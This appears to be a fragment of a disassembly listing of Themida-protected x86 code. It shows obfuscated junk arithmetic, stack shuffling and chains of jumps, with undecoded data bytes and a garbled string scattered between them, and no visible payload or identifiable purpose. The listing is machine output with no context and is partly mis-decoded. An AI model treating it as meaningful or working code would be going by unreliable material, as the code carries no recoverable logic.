		xor	edi, 6A1929BBh
		jmp	loc_559DEC
; ---------------------------------------------------------------------------


loc_55B5F7:				; CODE XREF: Themida_:005537D6j
		mov	ebx, 2
		add	esi, 3CC93E8Eh
		add	esi, 79A11B2Bh
		jmp	loc_553143
; ---------------------------------------------------------------------------


loc_55B60D:				; CODE XREF: Themida_:00556524j
		add	esp, 4
		jmp	loc_5561DB
; ---------------------------------------------------------------------------
		dd 8B04C483h, 0C481240Ch, 4, 0FF71E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B629:				; CODE XREF: Themida_:0055BF53j
		xor	eax, ecx
		push	eax
		sub	esp, 4
		jmp	loc_552AF5
; ---------------------------------------------------------------------------
		dd 0E9240C33h, 0FFFFB564h, 56242C89h, 5D372BBEh, 0C7BE5601h
		dd 89290DFDh, 0ACFCE9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B652:				; CODE XREF: Themida_:0055E5F5j
		push	edx
		jmp	loc_55A4FD
; ---------------------------------------------------------------------------
		dd 89243C89h, 4C781E7h,	53000000h, 0B5653CBBh, 0CAE95669h
		dd 5BFFFFFCh, 0CE10BF57h, 0FB31F2B7h, 83243C8Bh, 565304C4h
		dd 0D20C30BEh, 2474290Bh, 4FE95E04h, 5DFFFFECh,	8704E983h
		dd 895C240Ch, 0FF542414h, 815A2434h, 4C4h, 1C64E900h, 8B660000h
		dd 5BE92424h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B6B3:				; CODE XREF: Themida_:00558CE1j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55946E
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 71h
		dd 0FFDA3BE9h, 6C815AFFh, 33B60424h, 7401614Fh,	44810424h
		dd 33B60424h, 0E95E614Fh, 0FFFF712Ah, 0C102EDC1h, 0EDC102EDh
		dd 0BDB5E906h, 0EA89FFFFh, 89F2295Dh, 24148BD6h, 4C481h
		dd 0C6810000h, 71E617C9h, 0BBC68146h, 153628Bh,	7180E9F0h
		dd 0F581FFFFh, 709104C0h, 895DEE29h, 0C1F1E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B726:				; CODE XREF: Themida_:0055D3E5j
		inc	ecx
		shr	ecx, 4
		add	ecx, 16EC1BDDh
		xor	ecx, 0A96F556h
		mov	ebx, ecx
		pop	ecx
		or	ebx, 421A2400h
		shr	ebx, 6
		jmp	loc_55E3B7
; ---------------------------------------------------------------------------
		db 30h
		dd 0C32240Ch, 240C3024h, 5F226866h, 24148966h, 97F0E950h
		dd 34FFFFFFh, 242C8B24h, 0AB0E9h, 0C8B6600h, 4EC8124h
		dd 89000000h, 0EC83241Ch, 24248904h, 4240483h, 81241C8Bh
		dd 4C4h, 85BBE900h, 0F766FFFFh,	0E563E9E1h, 0EF80FFFFh
		dd 7675684Eh, 4890000h,	77E95224h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B7A7:				; CODE XREF: Themida_:0055DCBCj
		add	ebx, 1C7A7A3Bh
		sub	ebx, edi
		sub	ebx, 1C7A7A3Bh
		jmp	loc_554CF6
; ---------------------------------------------------------------------------


loc_55B7BA:				; CODE XREF: Themida_:005541FBj
		push	2585h
		mov	[esp], ebx
		mov	ebx, 2F9F6841h
		inc	ebx
		push	0
		sub	[esp], ebx
		pop	ebx
		push	esi
		mov	esi, 3057467Ch
		and	ebx, esi
		pop	esi
		jmp	loc_556432
; ---------------------------------------------------------------------------
		db 56h
		dd 0F05A83BEh, 5EF72910h, 15FFB31h, 58E95BDDh, 4DFFFFC9h
		dd 0F092C581h, 0E801E1D9h, 0E9242C8Bh, 0FFFF8CBBh
; ---------------------------------------------------------------------------


loc_55B804:				; CODE XREF: Themida_:0055A734j
		pop	eax
		push	eax
		mov	eax, 53666C88h
		jmp	loc_555E34
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFBA54h, 9024E95Bh, 5B56FFFFh, 0E92434FFh
		dd 0FFFFDFDCh
; ---------------------------------------------------------------------------


loc_55B828:				; CODE XREF: Themida_:00556C97j
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_55D15F
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C2h
		dd 75AC401Ah, 0EA81DA01h, 75AC401Ah, 4EA815Bh, 87000000h
		dd 248B2414h, 24148924h, 0B7E99C50h, 0E9FFFF6Fh, 0FFFF6FB2h
; ---------------------------------------------------------------------------


loc_55B85C:				; CODE XREF: Themida_:0055423Fj
		add	ebx, 12D74D4Dh
		jmp	loc_55BFD9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 0C297E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B872:				; CODE XREF: Themida_:0055AA8Ej
		add	esp, 4
		push	esi
		push	edi
		jmp	loc_55684E
; ---------------------------------------------------------------------------
		db 57h
		dd 730F68h, 24248900h, 4240483h, 0FFDEEEE9h, 66EF81FFh
		dd 14CA05Fh, 66C781F7h,	5E4CA05Fh, 8B243C87h, 4202424h
		dd 5FE99C24h, 0FFFFFF6Fh, 48B2434h, 0B465E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B8BA:				; CODE XREF: Themida_:00557C77j
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		jmp	loc_555F36
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0D9h
		dd 1000002h, 67D32DD0h,	57E97B85h, 8B000024h, 0C481242Ch
		dd 4, 2879BD55h, 0DDF710DCh, 0C581E5D1h, 5FE963A3h, 0C581D5F7h
		dd 54F46737h, 4B2EC181h, 0E90179ADh, 4B2EE981h,	15D79ADh
		dd 0DA85E9F9h, 0D801FFFFh, 0FF807DE9h, 1C77FFFFh, 0D259669Dh
		dd 0E99C2414h, 0FFFF6EDAh, 4B850h, 0C5010000h, 0FFF6E7E9h
		dd 2434FFFFh, 4C48359h,	0F8D4E95Ah, 0EC83FFFFh,	243C8904h
		dd 42685F54h, 89000040h, 4B9240Ch, 0E9000000h, 202h, 4C481h
		dd 0F9010000h, 240C335Fh, 0FFD74DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B979:				; CODE XREF: Themida_:00553D11j
		xchg	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	edx
		push	392Ah
		mov	[esp], ebp
		push	103C5D97h
		jmp	loc_55B52A
; ---------------------------------------------------------------------------
		dw 0C889h
		dd 592434FFh, 0E904C483h, 0FFFFC15Dh, 582434FFh, 148B5452h
		dd 0BF8AE924h, 248BFFFFh, 24042824h, 6E50E99Ch,	0EF81FFFFh
		dd 2FF374D9h, 0E902EFC1h, 0FFFFAB06h, 89243C89h, 685352E7h
		dd 61F44AA8h, 0D0F7935Bh, 0ADC38193h, 8961F44Ah, 241C8BDAh
		dd 81E78957h, 4C7h, 4C78100h, 0E9000000h, 0FFFFF268h
; ---------------------------------------------------------------------------


loc_55B9FC:				; CODE XREF: Themida_:00554ADCj
		and	edi, 0DDC512Eh
		push	esi
		mov	esi, 682141E9h
		push	ecx
		mov	ecx, 41C25E9h
		push	ebp
		jmp	loc_55CD5D
; ---------------------------------------------------------------------------
		dd 241C8B66h, 2C481h, 0E1800000h, 0FBB7534Ah, 6BE9C7FEh
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA2B:				; CODE XREF: Themida_:0055D6D2j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55C142
; ---------------------------------------------------------------------------
		db 5Ah,	5Bh, 58h
		dd 0FFC8205Bh, 83592434h, 4C6804C4h, 0E9000047h, 0FFFFC892h
		dd 4BBh, 0F6B8E900h, 515FFFFFh,	2B9h, 59CD0100h, 31242C33h
		dd 2C33242Ch, 1CFE924h,	0FE280000h, 0FFCDA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BA79:				; CODE XREF: Themida_:00559830j
		xor	esi, 429D5AC5h
		not	esi
		shr	esi, 3
		neg	esi
		sub	esp, 4
		jmp	loc_5556B0
; ---------------------------------------------------------------------------


loc_55BA8E:				; CODE XREF: Themida_:0055BE7Cj
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_558375
; ---------------------------------------------------------------------------


loc_55BA9C:				; CODE XREF: Themida_:0055CB75j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55352D
; ---------------------------------------------------------------------------
aZ48Su		db '‡4$\8Áœéã',9,0
		align 2
		dw 0C481h
		dd 4, 5109F681h, 0F53107B1h, 8124348Bh,	4C4h, 5DE80100h
		dd 8904EC83h, 7E9240Ch,	80FFFFA9h, 93E957C6h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BADF:				; CODE XREF: Themida_:0055A8DBj
		pop	ebp
		jmp	loc_555FEB
; ---------------------------------------------------------------------------
		db 50h,	57h, 68h
		dd 329A44EDh, 0F7EFD15Fh, 0F5ABE9DFh, 0C731FFFFh, 0FFD589E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BAFD:				; CODE XREF: Themida_:00559CE7j
		mov	esi, 2F0371AFh
		add	[esp+4], esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	2F0371AFh
		pop	ebx
		jmp	loc_55E20D
; ---------------------------------------------------------------------------
		dd 191E10B9h, 5C7EBA17h, 0CA298CA1h, 0FFC97EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BB2D:				; CODE XREF: Themida_:00552A60j
		pop	eax
		jmp	loc_5572DC
; ---------------------------------------------------------------------------
		db 58h
		dd 28FAC680h, 0FAEE80CEh, 0FFD06DE9h, 2434FFFFh, 0FF7801E9h
		dd 81D929FFh, 415AF4E9h, 0CD295B64h, 0FFB5FCE9h, 51E389FFh
		dd 4B9h, 59CB0100h, 6F17E952h, 0C781FFFFh, 59E54D1Ch, 8E9CF01h
		dd 66FFFFBBh, 48F665Eh,	0DF9CE924h, 0FB29FFFFh,	5BD8015Fh
		dd 2BD3BD55h, 0B8506D1Ch, 3A745926h, 7C51ED81h,	0C5011813h
		dd 7C51C581h, 0C1581813h, 0EDC103EDh, 22BE5605h, 0E9219379h
		dd 0FFFFD7FAh, 4C21ED81h, 0E5814263h, 0C4939E4h, 0FF8A56E9h
		dd 0FFEA21FFh, 835D2434h, 0E28104C4h, 5C79786Eh, 118E9h
		dd 0C2815B00h, 0F874984Eh, 0FF7B7AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BBE5:				; CODE XREF: Themida_:00555BAAj
		push	ebp
		mov	ebp, 151C7D42h
		add	ebx, ebp
		pop	ebp
		jmp	loc_55AA1A
; ---------------------------------------------------------------------------


loc_55BBF3:				; CODE XREF: Themida_:0055D976j
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 7
		sub	esp, 4
		jmp	loc_5568B5
; ---------------------------------------------------------------------------
		db 0BBh, 0D9h, 71h
		dd 0DD8977DAh, 5DE8295Bh, 0BD55D829h, 77DA71D9h, 0B761B105h
		dd 0E9E80149h, 0AAAh, 0E9240487h, 133Eh, 33241C31h, 1C31241Ch
		dd 0E3895324h, 0FFE939E9h, 24D25CFFh, 0C3E99C24h, 83FFFF6Bh
		dd 0BB5304C4h, 4, 7C47EA81h, 0DA012146h, 0FF7799E9h, 52D9F6FFh
		dd 14B75350h, 0FF8A1CE9h, 4EC81FFh, 89000000h, 0B7532414h
		dd 0B0506672h, 66C708AAh, 0BEE78058h, 0F780C7FEh, 4EC81DAh
		dd 89000000h, 0FC882404h, 5F3E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BC9A:				; CODE XREF: Themida_:0055D82Fj
		mov	[esp], dx
		push	ecx
		push	eax
		push	0F74h
		mov	[esp], ecx
		mov	ch, 0D6h
		mov	ah, 1Fh
		add	ah, 64h
		add	ah, ch
		sub	ah, 64h
		pop	ecx
		mov	ch, ah
		mov	eax, [esp]
		jmp	loc_559566
; ---------------------------------------------------------------------------
		db 0FEh
		dd 34C280C2h, 0AAE90F2Ch, 1FFFF94h, 0C6815FFEh,	4, 2474FF56h
		dd 5FDE904h, 10BE0000h,	566BB170h, 4E95E51h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BCEB:				; CODE XREF: Themida_:00555FFCj
		pop	eax
		jmp	loc_558CB3
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 3
		dd 0F281D2F7h, 0CA94BAB7h, 0FF6FDBE9h, 4B951FFh, 1000000h
		dd 0E904244Ch, 0FFFFBE86h, 0BF575150h, 20D07A3Bh, 0F4E36CB9h
		dd 5FF92956h, 0DB96D3B8h, 59C801C9h, 29E9C301h,	89000026h
		dd 14F7242Ch, 10FE924h,	36B20000h, 0E905E2C0h, 0FFFFD2F4h
		dd 0E98734FFh, 0FFFFE545h, 0C23CC805h, 58C50165h, 0E904EC83h
		dd 0FFFFFFD3h, 54241C89h, 0FFCAADE9h, 4C483FFh,	0C41E542Dh
		dd 5C8017Ah, 7AC41E54h,	0E92434FFh, 28FBh, 4C281h, 9CE90000h
		dd 87FFFFEDh, 665C242Ch, 83240C89h, 48904ECh, 5BC26824h
		dd 1C890000h, 81E95224h, 81FFFF82h, 4E4E71C2h, 5AD02109h
		dd 0A8471505h, 9DF30560h, 0C201C579h, 8324048Bh, 0C20104C4h
		dd 0A0D8E956h, 0D128FFFFh, 1588E95Ah, 0F3870000h, 0E953D6F7h
		dd 0FFFFFA46h, 51664334h, 0B57CB353h, 0D4ED80AEh, 0FDE9DD00h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BDEB:				; CODE XREF: Themida_:0055D16Ej
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_558DB8
; ---------------------------------------------------------------------------


loc_55BDFF:				; CODE XREF: Themida_:00553774j
		push	edi
		jmp	loc_55D472
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF2434FFh, 81592434h, 4C4h,	7B856800h, 1C890000h, 515B5424h
		dd 0B13113B9h, 970BE91Dh, 0C8BFFFFh, 0E3895324h, 4C381h
		dd 0C3830000h, 338E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BE3E:				; CODE XREF: Themida_:0055DBA3j
		push	eax
		push	7091h
		jmp	loc_55A572
; ---------------------------------------------------------------------------
		db 5Dh,	51h, 0B9h
		dd 0AB96AA3Fh, 8959CD31h, 2434FFEAh, 4C4835Dh, 5E286EBBh
		dd 8BD3311Ch, 61E92414h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE6B:				; CODE XREF: Themida_:0055D458j
		pop	esp
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_55BA8E
; ---------------------------------------------------------------------------


loc_55BE81:				; CODE XREF: Themida_:00555475j
		add	esp, 4
		push	edx
		jmp	loc_559E7B
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
		dd 0CCB624h, 835A66F0h,	0C8904ECh, 0FAB05024h, 0D8F6A024h
		dd 1CB05053h, 0E8C0D8F6h, 88D00402h, 0D80058C3h, 23B6E9h
		dd 50C5B900h, 0E1C17511h, 0DCC18103h, 1577579h,	83E959CAh
		dd 54FFFF6Ch, 0FF76F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BED5:				; CODE XREF: Themida_:00554E7Ej
		mov	ebx, ebp
		jmp	loc_558673
; ---------------------------------------------------------------------------
		dd 83242489h, 58042404h, 0E80DE955h, 0FB01FFFFh, 4C3815Fh
		dd 87000000h, 815C241Ch, 4C3h, 0CF27E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF02:				; CODE XREF: Themida_:005562E6j
		add	ebp, 4
		jmp	loc_559C8C
; ---------------------------------------------------------------------------


loc_55BF0D:				; CODE XREF: Themida_:00558227j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_5565C9
; ---------------------------------------------------------------------------


loc_55BF1B:				; CODE XREF: Themida_:0055C9B7j
		or	esi, 5FF4E78h
		neg	esi
		and	esi, 7BC668D3h
		add	esi, 340F0114h
		inc	esi
		xor	esi, 0DFC7322Ah
		and	ecx, esi
		pop	esi
		jmp	loc_5537CC
; ---------------------------------------------------------------------------


loc_55BF3E:				; CODE XREF: Themida_:00558DCDj
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		shr	eax, 8
		jmp	loc_55B629
; ---------------------------------------------------------------------------


loc_55BF58:				; CODE XREF: Themida_:00559187j
		push	ebp
		mov	ebp, 53E54F5Ah
		jmp	loc_55727F
; ---------------------------------------------------------------------------


loc_55BF63:				; CODE XREF: Themida_:0055C914j
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	21Ch
		mov	[esp], ecx
		mov	ecx, 59153318h
		push	6CE2h
		mov	[esp], eax
		mov	eax, 601F2965h
		and	ecx, eax
		jmp	loc_556DC4
; ---------------------------------------------------------------------------
		db 50h,	52h, 0B2h
		dd 5AD088C4h, 0C380AD04h, 0E9C3283Bh, 0FFFFCF75h, 0E4BD5550h
		dd 0E938F36Ch, 0FFFFDD3Ch
; ---------------------------------------------------------------------------


loc_55BFB0:				; CODE XREF: Themida_:005568C8j
		push	ebx
		mov	ebx, 6ACB781Dh
		jmp	loc_559677
; ---------------------------------------------------------------------------
		db 0FFh
		dd 81582434h, 4ECh, 24348900h, 0BF57E689h, 3CFC3CADh, 4747D7F7h
		dd 0FF7813E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BFD9:				; CODE XREF: Themida_:0055B862j
		sub	ebx, 0DBF87E5Ch
		jmp	loc_55BFED
; ---------------------------------------------------------------------------
		dd 2414335Dh, 26E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BFED:				; CODE XREF: Themida_:0055BFDFj
		and	edx, ebx
		pop	ebx
		not	edx
		sub	edx, 0FFFFFFFFh
		shl	edx, 6
		push	ecx
		push	edx
		push	163C58D1h
		jmp	loc_55E032
; ---------------------------------------------------------------------------
		db 66h
		dd 5124048Bh, 4EC81h, 24890000h, 0FCE7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C01A:				; CODE XREF: Themida_:0055C1A8j
		pop	dword ptr [edi+20h]
		jmp	loc_552C24
; ---------------------------------------------------------------------------
		dw 2D5Dh
		dd 395DE024h, 0FFD398E9h, 4C483FFh, 2A25EB81h, 0C3292AA6h
		dd 1A9EE9h, 68E28900h, 1622h, 0BB241C89h, 685A477Ch, 0B4CDE94Bh
		dd 34FFFFFFh, 78E95824h, 88FFFFCFh, 0B55158E3h,	0C0C5FE50h
		dd 0E58008E5h, 0EFED809Dh, 0FF84BDE9h, 66A468FFh, 5DE90000h
		dd 66FFFF87h, 5624048Bh, 4EC81h, 8F540000h, 0EC812404h
		dd 4, 0BB241C89h, 4, 16ABE9h, 4E7C000h,	309AC780h, 7FE95BF9h
		dd 59FFFFD2h, 0E92434FFh, 0FFFFD009h, 0BD242C89h, 72FC1310h
		dd 0E95DEE29h, 0FFFF8258h, 2434875Dh, 924248Bh,	0E99C2404h
		dd 0FFFF673Ah, 0E9242C8Bh, 0FFFFBD47h, 5C240C87h, 0EFE9F9F7h
		dd 2C000018h, 4D8282Eh,	6D13E92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C0F2:				; CODE XREF: Themida_:00554E39j
		xor	eax, 32B75BC3h
		shr	eax, 6
		jmp	loc_55A5AB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 2434FF24h, 0E924048Bh, 0FFFFB054h, 0E92434FFh
		dd 1E73h, 4EC81h, 1C890000h, 505B5424h,	3672EB68h, 9134E902h
		dd 6858FFFFh, 373Eh, 0E9241C89h, 0FFFFA40Bh, 0AC6CE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C142:				; CODE XREF: Themida_:0055BA34j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_555A07
; ---------------------------------------------------------------------------
		dd 24048B66h, 3B106853h, 24890000h, 24048324h, 2434FF04h
		dd 5B2434FFh, 0A50EE952h, 1C87FFFFh, 76E95C24h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C17F:				; CODE XREF: Themida_:0055777Fj
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_557D7D
; ---------------------------------------------------------------------------


loc_55C18B:				; CODE XREF: Themida_:005557F4j
		sub	edx, 0ED51AE3Ch
		sub	esi, edx
		pop	edx
		pop	eax
		and	ebx, esi
		pop	esi
		or	ebx, ebx
		jnz	loc_556770
		push	5B8Dh
		mov	[esp], edx
		jmp	loc_55C01A
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 18E904C7h, 0F7FFFF9Ah, 4E2D40D0h,	0E959DA28h
		dd 0FFFF73EBh, 4F02E7C1h, 0D411C781h, 75E9FD3Eh, 83FFFFDBh
		dd 8EE902C4h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1DF:				; CODE XREF: Themida_:00559453j
		xor	eax, ebx
		jmp	loc_558986
; ---------------------------------------------------------------------------


loc_55C1E6:				; CODE XREF: Themida_:005572BAj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_553C05
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 0FFFFC7E7h, 70B8C181h, 835A0EDAh, 0C8702C1h
		dd 24248B24h, 53D18851h, 0CB885350h, 0FFADFAE9h, 4C481FFh
		dd 57000000h, 0C781E789h, 4, 4C781h, 3C870000h,	859E924h
		dd 0E95B0000h, 0FFFFE279h, 0B450F186h, 0E298E910h, 8B66FFFFh
		dd 0C481242Ch, 2, 0B8665066h, 31666E39h, 0A966E9C2h, 558FFFFh
		dd 7F1A5D33h, 0FF97D6E9h, 0F8B551FFh, 25DE9h, 241C8900h
		dd 4BBh, 8BDD0100h, 64E9241Ch
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C283:				; CODE XREF: Themida_:005541D7j
		mov	esi, 1BFA1031h
		jmp	loc_55D43B
; ---------------------------------------------------------------------------
		db 88h,	0E5h, 88h
		dd 8B5859EAh, 0C483241Ch, 42CA8004h, 532DE280h,	0C78043B7h
		dd 5BFA2028h, 0FFFFBCE9h, 0EAC781FFh, 0E9C7F7FCh, 0FFFF6C12h
		dd 0E9241C89h, 0FFFFD968h, 242C8B54h, 4C481h, 0C5810000h
		dd 4, 26850h, 99E90000h, 8B000012h, 89532434h, 6A33E9E3h
		dd 8B66FFFFh, 7168240Ch, 0E9000066h, 1CFFh, 24066866h
		dd 24048966h, 0FF742EE9h, 3C77FFFFh, 177668h, 240C8900h
		dd 8A7BDBB9h, 246C8125h, 606D4304h, 244C010Ch, 24448104h
		dd 606D4304h, 0E90AE90Ch, 7C29FFFFh, 44810824h,	4EFE0824h
		dd 815F3D8Ah, 6C042444h, 0E96C825Fh, 0FFFFD162h, 1323E95Ch
		dd 0E0890000h, 0FF97AAE9h, 0C1F181FFh, 3118E710h, 75E959CFh
		dd 8BFFFF95h, 89572434h, 0FE43E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C36A:				; CODE XREF: Themida_:00553877j
		pop	ebp
		add	esp, 4
		jmp	loc_55483A
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 8BE9C231h,	81FFFF64h, 0FFFFFFEBh, 0A8E956FFh
		dd 0ACFFFFDFh, 8904EC83h, 53E9240Ch, 66000006h,	50240C8Bh
		dd 5256E089h, 0F6317ABAh, 4815220h, 0E3792624h,	8876E915h
		dd 5453FFFFh, 83241C8Bh, 376804C4h, 89000004h, 0A868242Ch
		dd 89000053h, 4B9240Ch,	51000000h, 81242C8Bh, 4C4h, 0EB815900h
		dd 720733CFh, 0FF83BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C3E9:				; CODE XREF: Themida_:0055401Fj
		add	ecx, 4
		push	edi
		mov	edi, 7D030D4Fh
		shl	edi, 4
		dec	edi
		inc	edi
		jmp	loc_55C8C8
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 0CA23E957h,	0EB80FFFFh, 2CB8003h, 882FF380h
		dd 241C8BD9h, 8F3FE955h, 0C581FFFFh, 5CE07EE4h,	1335ED81h
		dd 0CD81412Fh, 33FB6859h, 7E5FED81h, 0B3E973FBh
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C43F:				; CODE XREF: Themida_:005562DEj
		pop	esi
		jmp	loc_558C7C
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FFD3AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C44D:				; CODE XREF: Themida_:00559480j
		push	ebp
		push	edx
		jmp	loc_55475B
; ---------------------------------------------------------------------------
		dd 582434FFh, 646FE956h, 0C381FFFFh, 29883C49h,	0C4E9D3F7h
		dd 8B00000Eh, 34FF2424h, 2434FF24h, 0FFFBD9E9h,	21EB81FFh
		dd 81340D2Ah, 6F31D4C3h, 243C8B2Fh, 11EE9h, 8E8C100h, 0FFD4A5E9h
		dd 6374E9FFh, 77FFFFFFh, 11589D1Ch, 0E99C2404h,	0FFFF6366h
		dd 713F88BEh, 0F1895152h, 0FF8C27E9h, 0C5ED81FFh, 9FED6E4h
		dd 242C8BE8h, 0FF9EA8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C4C5:				; CODE XREF: Themida_:005543EEj
		shl	edi, 7
		inc	edi
		jmp	loc_55E2D8
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 0B6F5802Eh, 0E905C580h, 0FFFF9C67h, 30F1305Ch, 0E9F130CEh
		dd 1A8Eh
; ---------------------------------------------------------------------------


loc_55C4E8:				; CODE XREF: Themida_:0055956Fj
		mov	dl, ch
		jmp	loc_555B8A
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFB2DCE9h, 4ED81FFh, 87000000h, 895C242Ch, 8AE9242Ch
		dd 89FFFFC2h, 8D68241Ch, 0E96C6A17h, 0FFFFED87h, 4BA0F781h
		dd 0FB013B75h, 1C87595Fh, 24248B24h, 0FFE61AE9h
		db 0FFh, 89h, 0E6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_553264
; ---------------------------------------------------------------------------


loc_55C542:				; CODE XREF: Themida_:00554347j
		add	eax, 5A06643Eh
		pop	ecx
		push	dword ptr [edi+eax*4]
		jmp	loc_55CDFF
; ---------------------------------------------------------------------------
		dd 51C6015Dh, 562F5DB9h, 41D9F768h, 753C981h, 0D1413E77h
		dd 7EE981E9h, 1FA48CBh,	240C8BCEh, 8104C483h, 4ECh, 24048900h
		dd 802EF68h, 0E8C1585Ah, 78336804h, 34890000h, 0C54CBE24h
		dd 18E9130Eh, 83FFFFECh, 280404C4h, 282CD800h, 8B667C2Ch
		dd 2CE9241Ch, 53FFFFFCh, 0FFA69FE9h, 1E953FFh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C5B7:				; CODE XREF: Themida_:0055D3B3j
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_556114
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 5F545724h, 4C781h, 7F680000h, 0E9000022h, 0FFFF926Ch
; ---------------------------------------------------------------------------


loc_55C5E0:				; CODE XREF: Themida_:00556F3Bj
		add	esi, 4
		jmp	loc_55CB72
; ---------------------------------------------------------------------------
		db 0F7h
		dd 6E2C1DAh, 5B67B951h,	0C981126Ch, 24AF3330h, 81414949h
		dd 6DFB72F1h, 8BCA31B4h, 0C483240Ch, 5AD60104h,	4BF57h
		dd 0FE010000h, 83243C8Bh, 0FF5604C4h, 0E9042474h, 0FFFFA0D0h
		dd 4055854h, 57000000h,	0F624AABFh, 5FE78117h, 0F716703Dh
		dd 2CBA52D7h, 0F74F211Ch, 0E2EA81D2h, 29C74F07h, 9EBE9D7h
		dd 0EC810000h, 4, 83242489h, 8B042404h,	0C481243Ch, 4
		dd 0FF7128E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C66D:				; CODE XREF: Themida_:00559128j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55C6E9
; ---------------------------------------------------------------------------


loc_55C67B:				; CODE XREF: Themida_:00559C48j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ecx, 4
		push	79FDh
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_5592C6
; ---------------------------------------------------------------------------
		db 87h
		dd 248B241Ch, 0B958E924h, 1C31FFFFh, 0D51BE924h, 0EC83FFFFh
		dd 24048904h, 806DB151h, 0CC8885E9h, 0E9E32859h, 0FFFF7321h
; ---------------------------------------------------------------------------


loc_55C6C8:				; CODE XREF: Themida_:005594A1j
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_55E055
; ---------------------------------------------------------------------------
		dw 0B12Dh
		dd 5D49B761h, 70E5BA52h, 0E2811746h, 2E8909BFh,	0FFB09BE9h
		db 0FFh
